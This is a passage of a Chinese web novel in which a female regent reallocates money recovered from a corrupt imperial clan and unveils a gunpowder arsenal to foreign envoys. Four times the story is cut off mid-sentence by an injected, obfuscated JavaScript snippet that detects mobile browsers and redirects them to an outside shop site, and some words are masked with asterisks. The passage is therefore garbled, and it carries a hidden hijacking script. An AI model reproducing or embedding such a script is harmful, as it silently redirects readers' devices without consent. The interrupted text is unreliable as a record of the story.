他抬起头,目光灼灼地看向谢凤卿,语气中带着一种近乎不可思议的意味:“两者合计,已超过三百万两之数!这还仅仅是初步的、最容易查抄到手的显性资产!已然完全覆盖了户部账面上那笔骇人听闻的亏空!” 第131章追回来的银子 他稍稍提高了声调,强调道:“而且,后续对那些隐匿更深、通过更复杂手段层层控制的产业和秘密资金流的挖掘清理,还在紧锣密鼓地进行。可以预见,最终能够追缴回来的总数额,恐怕会比眼下这个数字,还要庞大不少!填补那笔惊人的账面亏空,已是绰绰有余,甚至……可以说是大有盈余!” 这无疑是一个振奋人心的消息,意味着他们不仅堵上了窟窿,更获得了一笔巨大的额外资源。 然而,谢凤卿的反应却异常平静。她的目光沉静如水,落在沙盘上那片象征江南的精致模型上,那里江河交汇,城池密布,是帝国财富汇聚之地,也是刚刚经历了一场无声风暴的中心。她的脸上并无太多喜色,仿佛这足以让任何人狂喜的结果,早已在她的预料和掌控之中,激不起半分波澜。 “宗室经营逾百年,树大根深,盘根错节,犹如一株寄生在帝国肌体上的巨大毒菇。”她的声音清冷而平稳,如同在陈述一个早已明晰的事实,“他们在暗中疯狂汲取、积聚的财富,其总量,远超明面上任何人能够想象的数字。户部账面上查出的这三百万两亏空,不过是他们近年来急于动用,动作过大,以至于在账面流水上留下了抹不去的痕迹、相对容易被我们抓住尾巴的一部分罢了。冰山之下,隐藏的庞然大物,恐怕更为惊人。” 她的指尖,宛如最精准的探针,轻轻划过沙盘上那几条用银丝标示的主要商路和水路命脉,语气冷静地进行分析,如同一位高明的医师在剖析病灶:“经此一役,我们在明处,以雷霆万钧之势查封账户、抄没实物资产,如同外科手术刀般切除可见的肿瘤;而鬼市势力则在暗处,凭借其独特的网络和手段,接管、梳理那些错综复杂的灰色渠道,清理残余的金融脉络,如同清除扩散的毒素。双管齐下,内外夹攻……” 她的目光变得锐利起来:“宗室在帝国境内经营多年、最为倚重的主要经济脉络,已被我们基本斩断、清除。他们的秘密银库被起底,暗桩钱庄被控制,而最重要的、源源不断输送血液的‘现金牛’——盐铁专卖中的贪墨渠道,也被彻底堵死、摧毁。” 说到这里,她缓缓抬起那只白皙修长、却蕴含着无上权柄的手,指尖在沙盘上帝京的位置——那个象征着旧宗室势力核心、盘踞着无数既得利益者的区域,带着一种不容置疑的决绝,轻轻向下一按! 这个动作轻描淡写,甚至带着几分优雅,却仿佛蕴含着千钧之力,带着一种一锤定音、终结一个时代的强大意志力。仿佛她指尖按下的,不是冰冷的沙盘模型,而是那些仍在暗中涌动、试图反扑的残余势力的咽喉。 “可以说,”她的声音在寂静的暗室中清晰地回荡,每一个字都如同冰珠落玉盘,冰冷而坚定,“宗室最后、也是最赖以生存的经济底牌,在今日,此刻,已被我们彻底……清零!” 这声音,不仅仅是在陈述一个事实,更是在宣判——宣判一个旧有的、依靠盘剥和贪婪维系的**经济模式的彻底终结!宣判一个时代的落幕! 萧御深深地点头,眼中流露出无法掩饰的、由衷的敬佩与叹服。他深知,谢凤卿策划并亲自坐镇指挥的这场不见刀光剑影、却同样惊心动魄的经济清剿战,其战略意义之深远,对帝国未来格局的影响之深刻,丝毫不在昨日宗庙之前那场血流成河的武力反杀之下!这彻底斩断了宗室残余势力赖以兴风作浪、试图卷土重来的最后钱粮根基,使得他们即便还有少数死硬分子隐匿在暗处,也成了无源之水,无本之木,再也难以掀起足以动摇国本的风浪。这不仅仅是斩草,更是挖根断脉的绝杀之局! 谢凤卿并未急于解释,她只是微微侧身,目光重新投向那幅巨大的疆域图。暗室内的长明灯光线稳定,在她玄色的衣袍上流淌,勾勒出沉静而坚定的轮廓。她缓缓抬起右手,伸出了三根修长的手指。这个动作简单,却带着一种不容置疑的、划分格局的力量,仿佛要将未来的帝国蓝图,清晰地刻印在这静谧的空间里。 她的声音响起,不高,却如同磐石坠地,每一个字都清晰无比,蕴含着深思熟虑的决断与放眼千年的远见: “这追回来的银子,每一两,都沾着民脂民膏,浸着贪腐的脓血。如何用,关乎国运兴衰,非同小可。”她的指尖轻轻点向沙盘上帝国疆域内那些密密麻麻、代表州府县治的微缩城模型。 “其一,”她的第一根手指稳稳立着,目光如同最精准的尺规,扫过帝国的山川河流,仿佛能看到每一个城镇村落,“这笔钱,首要之用,在于‘启智’,在于‘育才’。要在全国各州、各府、各县,大规模地兴办、扩建女学学堂。这学堂,绝非仅仅识文断字那般简单。” 她的话语渐次深入,描绘出一幅前所未有的图景:“女子亦是人,占天下人口之半。民智不开,国何以强?民力不健,国何以盛?故,学堂之内,不仅要教她们读书明理,更要开设实学:算学,令其能理家计,亦可通晓账目,明辨虚实;基础格物,令其知晓万物运行之理,不惑于鬼神,不拘于旧俗;医药常识,令其可护佑自身、照料家小,乃至悬壶济世;织造改良,令其能精进技艺,创造价值,不独倚赖他人;乃至基础律法,令其知晓自身权责,不为人所欺,亦能持身以正。” 她的眼神锐利,仿佛已穿透时空,看到了未来:“让天下女子,皆能明事理、通技艺、可自立。此非一时之善举,实乃强健我朝之根本,厚植国力之源泉。一代明理的女子,可教化出三代聪慧的儿孙。此乃百年大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867398|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 计,甚至是千年大计之基石!根基不牢,地动山摇;根基深厚,则国祚绵长!” 萧御屏息凝神,只觉得这番论断如同洪钟大吕,震聋发聩。他从未自这个角度深思过,将女子教育提升到关乎国本的高度。 “其二,”谢凤卿的第二根手指随之竖起。她的目光从沙盘上的城池移开,转向了暗室一角,那里似乎虚空悬浮着墨家研究院那些精妙绝伦的机关模型与烈焰奔流的锻造炉。“需从中划拨专款,大力资助墨家研究院。火龙炮舰之威,今日可见一斑,然此仅为始。” 她的语气带着一种对绝对力量的清醒认知与不懈追求:“科技,方为强国之根本,是未来帝国能否屹立于世、不受制于人的基石。我们不能总躺在祖宗留下的基业上吃老本,亦不能只知墨守成规。墨家研究院,不仅要继续改进火龙炮舰,力求射程更远、威力更巨、建造更快,更要支持他们研发更多新式军械,以固国本、御外侮。” 她的指尖仿佛在虚空中点划:“此外,农具之改良,可令万亩良田增产增收,解百姓饥馑;水利设施之创新,可防洪抗旱,保一方平安;航海船舶之突破,可助我扬帆远洋,通衢**。器物之利,可抵千军万马,可生无穷财富。不断创新,方能始终领先于人,方能将命运牢牢掌握在自己手中,而非仰人鼻息。” 萧御心中波澜再起,这已超越了单纯的军事考量,是将科技视为推动整个社会前进的引擎。 “其三,”最后,谢凤卿的第三根手指稳稳伸出。她的目光再次投回巨幅疆域图,但这一次,她的视线越过了帝国熟悉的海岸线与陆上关隘,变得无比深邃辽远。她的指尖,先是在地图上那些用虚线模糊标注的、代表未知海域和潜在航路的地方缓缓划过,那里象征着无尽的机遇与风险。 “鬼市船队此次立下大功,其价值不仅在于追赃,更在于其展现出的能力。他们需要更多、更稳定的支持。”她的声音带着开拓者的决绝,“帝国之未来,绝不能困守于眼前这一方天地。要资助他们建造更坚固、更快速的舰船,去探索更遥远的航路,越过已知的界限,寻找新的陆地、新的资源。要在海外建立我们自己的补给点、贸易据点,如同伸出触角,将帝国的利益与影响力,拓展至更广阔的天地。海洋,不应是阻隔,而应是通途!” 紧接着,她的指尖又移向帝国内陆,特别是广袤而神秘的西南山区,那里标注着一些特殊的、代表矿藏的符号。“同时,”她意味深长地顿了顿,目光锐利如刀,暗示着某种至关重要的战略物资,“帝国疆域之内,蕴藏着丰富的矿藏,尤其是西南边陲之地,可能存在的……特殊矿藏(如硫磺、硝石等制造**的必需原料),需要秘密加大勘探与开发的力度。” 第132章助王爷成就千秋伟业,开万世太平 她的声音压得更低,却更显沉重:“我们需要一个完全掌握在自己手中、稳定且绝不受制于人的‘**库’。这不仅关乎军备,更关乎国运命脉。绝不能将如此命门,交于他人之手。” 最后,她的目光仿佛穿透了地图,投向了那一片象征遥远西方、尚且朦胧未知的区域,语气中带着一种超越时代的构想:“……以及,或许在未来,能够连接东西方世界的‘陆上通衢’的早期探索与蓝图规划。眼下或如天方夜谭,然人无远虑,必有近忧。帝国之眼光,当及千载,当及**。” 萧御静静地听着,只觉得心潮澎湃,难以自已。他彻底明白了。谢凤卿的目光和格局,早已超越了简单的朝堂倾轧和填补区区几百万两亏空的技术性操作。她是在巧妙地借助这次宗室制造的危机所引发的巨大资金流和**动荡,以此为杠杆和契机,强行启动一个庞大无比、面向长远未来的系统性强国计划! 教育启智(育才)、科技创新(利器)、经济拓展(开源)、军力保障(固本)、甚至未来的外交与战略布局(远谋)……这几个至关重要的领域,被她以“女学基金”这个看似带着慈善色彩的平台为核心枢纽,巧妙地整合贯通在了一起,形成了一个环环相扣、相互滋养的清晰战略闭环! “女学基金”,这个名称听起来温和甚至有些边缘化的机构,实则是这个宏大计划的核心发动机和输血泵。它将掌控由追缴赃款转化而来的巨额经济资源,并按照谢凤卿那深谋远虑的意志,精准、持续地投向那些能决定帝国未来命运的关键领域。这已非简单的财政运作,而是最高层面的国家战略资源配置! “天下共富……”萧御下意识地喃喃重复着这四个字,眼中的光芒越来越盛,如同拨云见日。他真正理解了这四字背后的深意。这绝非简单的“均贫富”或劫富济贫,而是要通过创造更大的经济蛋糕、开拓更广阔的生存与发展空间、提升整个社会的创造力和生产力,让帝国的肌体本身变得更加强健富庶,从而让追随这条道路的所有人——无论是士农工商,乃至天下女子——都能享受到发展带来的实实在在的红利。这是一个旨在形成正向循环、不断增强国力的宏大构想,是比单纯追求权术制衡、朝堂争斗不知高明多少倍的统治智慧与王者格局! “**如何?”谢凤卿问道,声音平静无波。虽是问句,但她的语气却笃定如山,显然对答案早已了然于胸,此刻询问,更像是一种确认,或是给予萧御表达的机会。 萧御从震撼的思绪中彻底回过神,看向谢凤卿那双洞悉一切的眼眸,脸上不禁露出了发自内心的、轻松而振奋的笑容。他清晰地回想着市井间的沸腾景象,语气肯定地回禀: “民心沸腾!尤其是‘凤皇万岁’之声,不仅在帝都街头巷隅响起,更已如春风野火般,传至江南乃至更远之地。王爷此举,追回国之巨款,使其惠及教育,尤泽被天下女子,民间对王爷的感恩戴德已达顶峰。许多原本持观望态度的商户,见到‘女学基金’实力如此雄厚,背景如此强硬,更窥见其中蕴含的无限商机与新政风向,也纷纷主动寻求合作,希望能参与到相关的建设中来。眼下**,于我们极为有利,大势已成!” 谢凤卿听罢,只是微微颔首,目光重新落回那巨大的疆域沙盘,深邃的眼眸中,映照着帝国**山河的微缩光影,沉静如水,却又仿佛已看到了波澜壮阔的未来。 谢凤卿微微颔首,绝美的侧颜在长明灯稳定柔和的光线下,勾勒出冷静而坚毅的线条。那双深邃的眼眸中,没有丝毫得意或松懈,只有洞悉世情的清明与掌控全局的沉着。她深知,权力的表象或许在于朝堂博弈、刀光剑影,但其真正的根基,却深植于经济命脉与人心向背之中。掌握了庞大且可持续的经济资源,并将其导向普惠民生、开拓未来的正道,由此汇聚的磅礴民心和战略主动权,是任何精妙的权术阴谋都难以撼动和比拟的。宗室集团百年积累的财富,这本是他们用以巩固特权、腐蚀国本的“遗产”,此刻,正被她以雷霆手段和深远布局,巧妙地转化为夯实新秩序、开创未来的最坚实基础。这笔来自对手的“馈赠”,正在她的意志下,蜕变为最坚实的统治基石。 酉时末,白日喧嚣散尽,夜幕如同巨大的墨色天鹅绒幕布,悄然覆盖了整座帝都。天际,点点繁星开始闪烁,如同镶嵌在幕布上的碎钻,清冷而璀璨。摄政王府并未如外界所揣测的那般大摆筵席、歌舞升平,以示庆祝。但在王府地势最高、可俯瞰大半座京城夜景的观星台上,却悄然设下了一桌精致的席面。 菜肴并非山珍海味、龙肝凤髓,而是时令鲜蔬、精巧点心,配以清冽香茗,低调而不失格调,符合谢凤卿一贯不尚奢靡的作风。初春的晚风拂过,已褪去了严冬的刺骨,带着一丝微凉却清新的暖意,轻轻摇曳着观星台四周垂落的月白色轻纱幔帐,带来远处庭院中隐约浮动的、若有似无的梅香,沁人心脾。 受邀前来的,仅有寥寥数人,却无一不是在此次惊心动魄的博弈中扮演了关键角色的核心人物:监国亲王萧御,气度雍容,此刻面色沉静,眼底却难掩激荡后的余韵;鬼市船队的那位首领,化名“荆先生”,其貌不扬,属于走入人群便再难寻见的普通面相,唯有一双眼睛,开合间精光四射,锐利如时刻准备搏击长空的鹰隼,透露出绝非寻常人物的深沉与干练;墨家研究院的现任院正公孙墨,是位精神矍铄、胡须花白的老者,脸上刻满了岁月与钻研留下的痕迹,一双手指节粗大,此刻因激动而微微颤抖;此外,便是那两名在此次户部审计和江南资产接收过程中表现出色、心思缜密、名字分别为青黛与素荷的年轻女管事,她们身着得体的衣裙,脸上因兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870989|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奋和荣耀而泛着红晕,眼神明亮,带着几分拘谨,更多的是难以抑制的使命感。 从此处凭栏远眺,京城夜景尽收眼底。万家灯火依次点亮,如同九天星河倾泻人间,蜿蜒流淌,交织出一幅繁华似锦、安宁祥和的盛世画卷。这与白昼里户部正堂的算盘急雨、刀光剑影,江南运河畔的火龙巨舰、风声鹤唳,形成了无比鲜明而深刻的对比。仿佛昨日的血雨腥风、惊心动魄,都只是为了换取眼前这片宁静的灯火与未来的希望。 谢凤卿并未假手他人,而是亲自执起一把素雅的紫砂壶,为在座每一位的杯中斟上清澈馥郁的今春新茶。热气袅袅升起,茶香四溢。她随即举杯,目光平和而深邃,缓缓扫过在场每一张面孔,那目光中蕴含着认可、期许,以及一种共同历经风雨后形成的、无需言说的默契。 “今日之局能破,新基得奠,”她的声音不高,却清晰地传入每个人耳中,语气平和,不带丝毫居功自傲,反而带着对众人努力的肯定,“非我谢凤卿一人之力所能及。赖诸位同心戮力,各展其长,方能于此浊世中,劈开一线新天。” 众人闻言,皆肃然起身,双手恭敬地捧起茶杯,神色庄重,连呼吸都下意识地放轻了。空气中弥漫着一种超越简单君臣关系的、志同道合者之间的凝重与和谐。 谢凤卿的目光首先转向鬼市首领荆先生,眼神中带着对其实力与贡献的明确认可,以及对未来重任的深切期许:“这第一杯,”她声音沉稳,“敬海上英豪,通衢**,货殖四方。风浪险恶,规则于明暗之间变幻莫测,然君与麾下儿郎,却能如鱼得水,游刃有余,于惊涛骇浪中为我开辟通途。日后,海洋之路,乃帝国命脉所系,探索未知、联结四方之重任,需君等继续为我辈先行,开拓疆土。” 荆先生微微躬身,那张平凡无奇的脸上,此刻却因这毫不掩饰的信任与重托而焕发出锐利的光彩,他声音不高,却沉稳有力,每一个字都带着掷地有声的承诺:“荆某与麾下众儿郎,蒙王爷信重,敢不效死力?愿为王爷前驱,探幽冥之海,辟黄金之路,纵百死亦不旋踵!” “第二杯,”谢凤卿转而望向墨家院正公孙墨,眼神中充满了对知识与创造力的由衷尊重,“敬匠心巧思,格物致知。火龙巨舰之威,今日初显,震慑宵小,然此仅为始,绝非终章。科技强国,方为立身之本,可使我朝立于不败之地。未来之路,研究院任重道远,需赖先生与墨家子弟,穷究天工之妙。” 公孙院正激动得胡须微颤,捧着茶杯的双手因心潮澎湃而有些发抖,但他望向谢凤卿的目光却充满了士为知己者死的决绝,声音异常洪亮:“老夫谨代表墨家上下,叩谢王爷知遇信重之恩!必率领全院弟子,竭尽毕生所学,穷尽心血智慧,铸更多神兵利器等,以报王爷,助王爷成就千秋伟业,开万世太平之基!” 第133章共饮 “第三杯,”她的目光落在青黛与素荷两名年轻女子身上,眼神中带着难得的温和与鼓励,这是一种对新生力量、对女性潜能的肯定,“敬巾帼之力,心细如发,执掌财帛,亦能惠泽天下。女学之兴,其成败关键,在于尔等日后细致运营,精打细算,更在于千万女子因此而燃起的向学之心。此乃强国之根基,望尔等慎之重之,不负所托。” 两名年轻女子受宠若惊,深深福礼,声音因激动而微微发颤,却充满了前所未有的力量与决心:“青黛(素荷)定不负王爷重托!必兢兢业业,恪尽职守,精益求精,让天下女子,皆有书可读,有技可学,能自立于世,不负王爷今日之期望!” 最后,她看向身旁一直默默支持、稳定后方的萧御,目光中多了一丝不易察觉的、超越**同盟的暖意与无需言说的深厚默契:“第四杯,敬朝堂砥柱,稳定大局,协调各方。内外安稳,波澜不惊,方能使我等在前沿放手施为,无后顾之忧。” 萧御与她相视一笑,千言万语尽在这一瞥之中。他举杯,言辞简洁却情深意重:“分内之事,唯愿倾尽全力,助凤卿,成此不朽功业,见证盛世来临。” “共饮。” 五人共饮杯中清茶,气氛庄重而和谐。这并非简单的庆功宴,更像是一次核心团队在重大战役后的集结,是一次统一思想、明确方向、面向未来的战略共识会,是一次凝聚力量、誓言前行的誓师。 饮毕,谢凤卿独自一人,缓步走到汉白玉栏杆旁,凭栏远眺。夜风拂动她玄色的衣袂,勾勒出挺拔如松、静默如山的身影。夜色笼罩下的帝都,万家灯火如同大地上的星辰,静谧中蕴含着无限的生机。那每一盏灯火之下,都是一个家庭,都是她所要守护的黎民百姓,也是她将要带领着走向不可预知却充满希望的未来的万千生民。 观星台上,谢凤卿玄衣迎风,身姿如即将展翅的凤凰,独立于九天之上。她身后,是璀璨如画的京城夜景,是刚刚经历了一场经济与**双重风暴洗礼却愈发显得根基稳固的帝国核心。 户部正堂那令人窒息的百万亏空已然被填平,甚至巧妙地转化为了推动变革的强大助力。取而代之的,是一个名为“女学基金”的、携带着巨量资金和无限潜能的崭新机构,它如同新生的强大心脏,开始为帝国的肌体输送新鲜的血液。宗室盘踞百年的经济命脉被彻底斩断,旧秩序的丧钟,已然在今日敲响,余音渐散。 “天下共富”这并非空洞口号的宣言,如同最具生命力的种子,借着今日这震撼朝野的事件作为沃土,已深深地撒入亿万民心之中。只待春风化雨,便可破土发芽,茁壮成长。 帝国的车轮,已然脱离了旧有的轨迹,正沿着她亲手设定的方向,碾过旧时代的废墟与荆棘,向着一个充满未知挑战却也孕育着无限希望的新纪元,轰然前行。而执掌这辆巨车方向、引领这艘巨轮航向的,正是这位玄衣凤眸、智勇足以经天纬地的摄政王——谢凤卿。 晨光尚未完全驱散夜雾,东方天际只透出一抹鱼肚白的微光。山林间还挂着露珠,空气里弥漫着泥土与枯叶混合的湿润气息。在这片被皇家圈禁了百余年的猎场边缘,一处新辟的所在正悄然苏醒。 三面环山,一面临水。地势天然隐蔽,却又因一条新修的官道与京畿主干道相连而交通便利。往日里,这里是麋鹿出没、荆棘丛生的荒芜之地,如今却被一堵高达三丈的灰砖围墙严密圈起。墙砖是新烧的,还带着烟火气,墙面平整如削,每隔五十步便有一座瞭望塔拔地而起,塔顶隐约可见值守兵士的身影。 墙外五里,已然设下明暗两重岗哨。明哨披甲持戟,检查过往文书;暗哨隐于林间**,目光如鹰隼般扫视四方。寻常百姓早已被告知此地划为“军工重地”,不得靠近,连采药的樵夫都改了道。 而今日,一切都不同了。 辰时初,第一缕阳光刺破云层。 金红色的光芒如同天神的剑,劈开晨雾,将这片新辟的工业园区照得通明。厂房初具雏形,高炉巍然耸立,仓库连绵如丘,纵横交错的轨道在阳光下反射着冰冷的金属光泽。更远处,隐约可见依山开凿的洞窟入口,厚重铁门紧闭,不知深几许。 围墙正中,那两扇包着铁皮、厚达半尺的沉重大门,在机括运转的隆隆声中,缓缓向内洞开。门轴转动的声音沉浑厚重,惊起远处林间一群飞鸟。 门前广场以青石板铺就,可容千人。此刻,黑压压站满了人。 最前方,是摄政王谢凤卿的仪仗。玄色王旗共十二面,以金线绣展翅凤凰,在渐强的晨风中猎猎作响,旗角翻卷如云。持旗卫士皆着黑甲,腰佩长刀,肃立如松。仪仗之后,谢凤卿独立于前。 她今日未着朝服,也未穿惯常的玄色劲装,而是换上了一身罕见的银白色锦袍。袍料是江南**的流光缎,看似素净,却在行走间流转着淡淡珠光。袍角与袖口用暗金线绣着繁复的云纹,腰束一掌宽的青玉带,带上悬着那柄从不离身的桃花木剑——剑鞘亦是素白,唯剑柄处一点桃红,成了全身唯一的艳色。 这身装束,少了几分战场杀伐的凛冽,敛去了朝堂博弈的深沉,却多了一种近乎神性的矜贵与神秘。银白本是最挑人的颜色,穿在她身上,却只衬得肌肤如玉,凤眸如墨,整个人仿佛自晨光中凝成的一尊玉像,清冷不可方物。 萧御立于她身侧稍后一步,着靛青色亲王常服,玉冠束发。他的目光沉静地扫视全场,眼底深处却藏着只有亲近之人才能察觉的紧绷——今日之局,太过重要,重要到连这位见惯风浪的监国亲王,都不得不屏息凝神。 而他们身后——才是今日真正令人震撼的景象。 来自西戎、北蛮、南疆三十六部、东海十七岛、西域二十二邦国、南洋二十九岛国… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876417|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …林林总总,竟有三十六国使节团,齐聚于此! 他们服饰各异,宛如一场流动的万国衣冠博览会: 西戎使者披着粗犷的狼皮大氅,颈挂兽牙,高鼻深目,眼眶凹陷,棕褐色卷发束成数股辫子; 北蛮使节身着翻毛皮袍,腰挎弯刀,面色红黑,须发浓密如鬃,身上带着浓烈的羊膻与奶酒气息; 南疆诸部使者则色彩斑斓,以靛蓝、朱红为主色,衣上绣着奇异的图腾,耳戴大环,颈挂银项,皮肤多呈健康的古铜色; 东海岛国之来人,衣着轻薄,多以葛麻织就,饰以贝壳珊瑚,面庞清瘦,眼神精明; 西域城邦使者则多穿长袍缠头,深目高鼻,胡须修剪精致,身上散发着没药与乳香的馥郁; 南洋邦国使节肤色黝黑,以色彩艳丽的纱笼裹身,赤足踏地,头戴花冠,手腕脚踝皆系银铃…… 语言各异,外貌殊别,风俗迥异。此刻,这些代表着四方天下、不同文明的使者,却都规规矩矩地按照礼官引导站立,目光复杂地投向那洞开的大门,以及门前那块被厚重红绸严密遮盖、高达一丈的巨匾。 空气中弥漫着一种奇异的混合气息:西戎的皮革鞣制味、北蛮的奶膻与马汗、南疆的草药与烟熏、东海的咸腥海风、西域的香料与尘土、南洋的椰油与花香……种种味道交织在一起,竟形成了一种独特的“世界气息”,令人恍惚间仿佛置身于文明交汇的十字路口。 萧御微微侧首,以只有两人能闻的声音低语:“自北境之战后,各国使节滞留京师者,累计已过五十国。听闻王爷今日有‘大动静’,几乎全都递了帖子请求观礼。臣按王爷吩咐,筛去那些心怀叵测、国力过微者,择定这三十六国主要使节允其前来。”他顿了顿,“其中,有十八国曾暗中与宗室有所勾连。” 谢凤卿微微颔首,目光落在红绸覆盖的匾额上,唇角勾起一丝极淡、却锐利如刀锋的弧度。晨光在她眼中折射出点点金芒,那眼神仿佛早已穿透绸布,看见了底下震撼世人的真相。 今日,她要让某些深藏十余年、布局四海的秘密,在这万国使节面前,公之于众。 辰时正,礼炮轰鸣。 九声震天动地的炮响,自围墙四角瞭望塔上依次传来。炮声浑厚绵长,在山谷间回荡不绝,惊起漫天飞鸟。所有杂音在这一刻尽数湮灭,全场肃然。 谢凤卿上前三步,独自立于巨匾之前。万道目光——好奇、探究、敬畏、怀疑、隐秘的不屑——瞬间如实质般汇聚在她身上。在许多国家使者的认知中,女子摄政已是亘古未闻之奇事,一个女子,还能弄出什么足以撼动天下的“世界**库”?不少使节眼中,甚至流露出看好戏的讥诮。 她缓缓抬眸,目光平静地扫过全场,尤其在那些来自最强大、最傲慢国家的使节脸上,稍作停留。那眼神清澈而深邃,无喜无怒,却自有千钧之重。 第134章财神马甲曝光 “自燧人氏钻木取火,火之力,便与人族命运相连。”谢凤卿开口,声音清越如玉石相击,以内力平稳送出,清晰地传入广场上每个人耳中。早有准备的礼部通译们迅速低声翻译,各国使节身侧,响起一阵压抑的、不同语言的解说声。 “火可烹食,使人脱离茹毛饮血;可御寒,助人熬过漫漫长冬;亦可为战,催生刀兵杀伐。”她的语调平缓,却字字清晰,“然**之威,自唐时问世,千百年来,却始终拘于方寸之间,困于匠人之手,或为帝王秘藏,或为家族私传,不得其法,不广其用,更谈不上——惠及天下苍生。” 她顿了顿,让通译们能完整转述。许多使节脸上露出了深思之色,尤其是那些来自战乱频仍、**技术落后的小国使者,更是下意识地点头。 “今日,辟地千顷于此。”谢凤卿抬臂,广袖如云展开,遥遥指向身后那片已然初具规模、蒸汽袅袅、轨道纵横的庞大园区,“非为囤积重兵,非为蓄养武备。” 她的手臂缓缓移动,划过那些高耸的厂房、冒着白烟的烟囱、整齐排列的仓库:“乃为建一‘库’——” 声音陡然提高,带着一种开天辟地般的决绝: “聚天下硝石、硫磺、木炭之精华!汇四海工匠、墨者、算师之智慧!产制式、稳定、高效、可控之**,及依此衍生之万千军用、民用器械!” 全场死寂。只有风声呼啸,旗帜猎猎。 “此库所出之物,”谢凤卿的语调转为沉凝,带着不容置疑的宣告意味,“可用于开山辟路,遇山开隧道,遇水架铁桥,使天堑变通途;可用于疏通河道,治理水患,沃土千里;可用于矿山采掘,提高效率,深取地宝;可用于改良农具,深耕细作,增产粮食,解万民饥馑——” 她目光如电,射向使节群:“亦可,为天下各国,提供防御所需之标准**、制式火器、及相应操典训练!” 最后一句,石破天惊! “此库,”她一字一顿,每个字都如重锤敲在众人心上,“不独属一朝,不私于一国。而愿为天下诸国——无论大小强弱,无论东西南北——提供稳定、优质、公平之货品,与必要之技术支持。” 她深吸一口气,吐出那五个早已酝酿多时、注定要震撼世界的字: “此乃——世·界·火·药·库!” “世界”二字,被她以内力灌注,如黄钟大吕,在山谷间隆隆回荡,震得人耳膜发颤,心神俱荡! “哗——!!” 使节群中,瞬间爆发出压抑不住的惊呼、抽气、难以置信的议论!各种语言混杂在一起,形成一片混乱的声浪! 他们听懂了!完全听懂了! 这意味着什么?意味着这个庞大得超乎想象的**生产基地,将作为一个公开的“供应商”,向所有国家开放贸易!再也不用低声下气地向中原求购受限制的火器,再也不用担心本国匠人技术落后导致**配比不稳、屡屡炸膛,再也不用忍受那些垄断商号坐地起价、以次充好! 只要付出相应的代价——金银、货物、资源、乃至某些**承诺——就能获得标准化的、质量有保障的**产品,甚至可以得到一定程度的技术指导! 这对于那些常年处于战乱、边境冲突不断、却又缺乏先进**技术的小国而言,简直是救命的甘霖!对于大国而言,这也是一个极具吸引力的稳定货源,一个可以摆脱对单一渠道依赖的战略选项,一个潜在的、需要慎重对待的合作伙伴! 但是—— 震惊过后,怀疑与计算迅速涌上许多使节心头。 如此庞大的计划,需要何等天文数字的资金投入?需要多么深厚的技术储备?需要怎样一张覆盖已知世界的原料采购、生产管理、物流运输、销售服务的网络来支撑?更需要多么强大的**、军事力量来保护这一“世界公器”不被抢夺、不被破坏? 这位年轻的、以铁血手腕和绝世武功闻名的摄政王,到底凭什么敢夸下如此海口?她背后,究竟还藏着多少不为人知的底牌? 就在众人惊疑不定、心思电转之际—— 谢凤卿的手,握住了红绸垂下的一角。 她动作从容,甚至带着一丝近乎仪式感的庄重。银白广袖滑落,露出一截如玉皓腕。阳光落在她的手背上,那肌肤近乎透明,却能看见淡青色的血管,蕴含着不容小觑的力量。 “此库得以筹建,非一日之功,非一人之力。”她的声音再次响起,比方才更加低沉,却更加清晰地传入每个人心底,“仰赖一隐秘组织,十余年来,默默经营,积累海量资金,打通各国商路,聚拢天下尖端匠人,研习改进**之术。” 她目光深邃,仿佛穿越时光,看到了那些在黑暗中布局的岁月:“此组织之名,或许——” 她的视线缓缓扫过使节群,在那几个来自西域最大商邦、南洋最富岛国、东海最强海商的使者脸上,刻意停顿。 “——在座诸位中,有人曾有幸听闻其名,甚至,曾与之打过交道。” 话音未落! “唰——!” 红绸被她猛地扯下! 厚重的绸布如血色瀑布般垂落,在晨风中翻卷飘荡。阳光毫无遮挡地倾泻而下,照耀在匾额之上—— 全场,呼吸骤停! 那并非众人预想中的“世界**库”五个大字,而是一块长逾两丈、宽达五尺的整块紫铜巨匾!铜匾历经特殊处理,在阳光下泛着深沉内敛的紫金色光泽,边缘浮雕着繁复的缠枝莲纹与瑞兽图案,古朴厚重,气象万千。 而匾额中央,是两个更加古老、更加震撼人心的篆体大字—— 财神! 字体苍劲如龙,笔画转折间仿佛有金戈铁马之气奔腾,又似有金山银海之影浮动。每一道刻痕都深达寸许,填以融化的赤金,此刻在朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 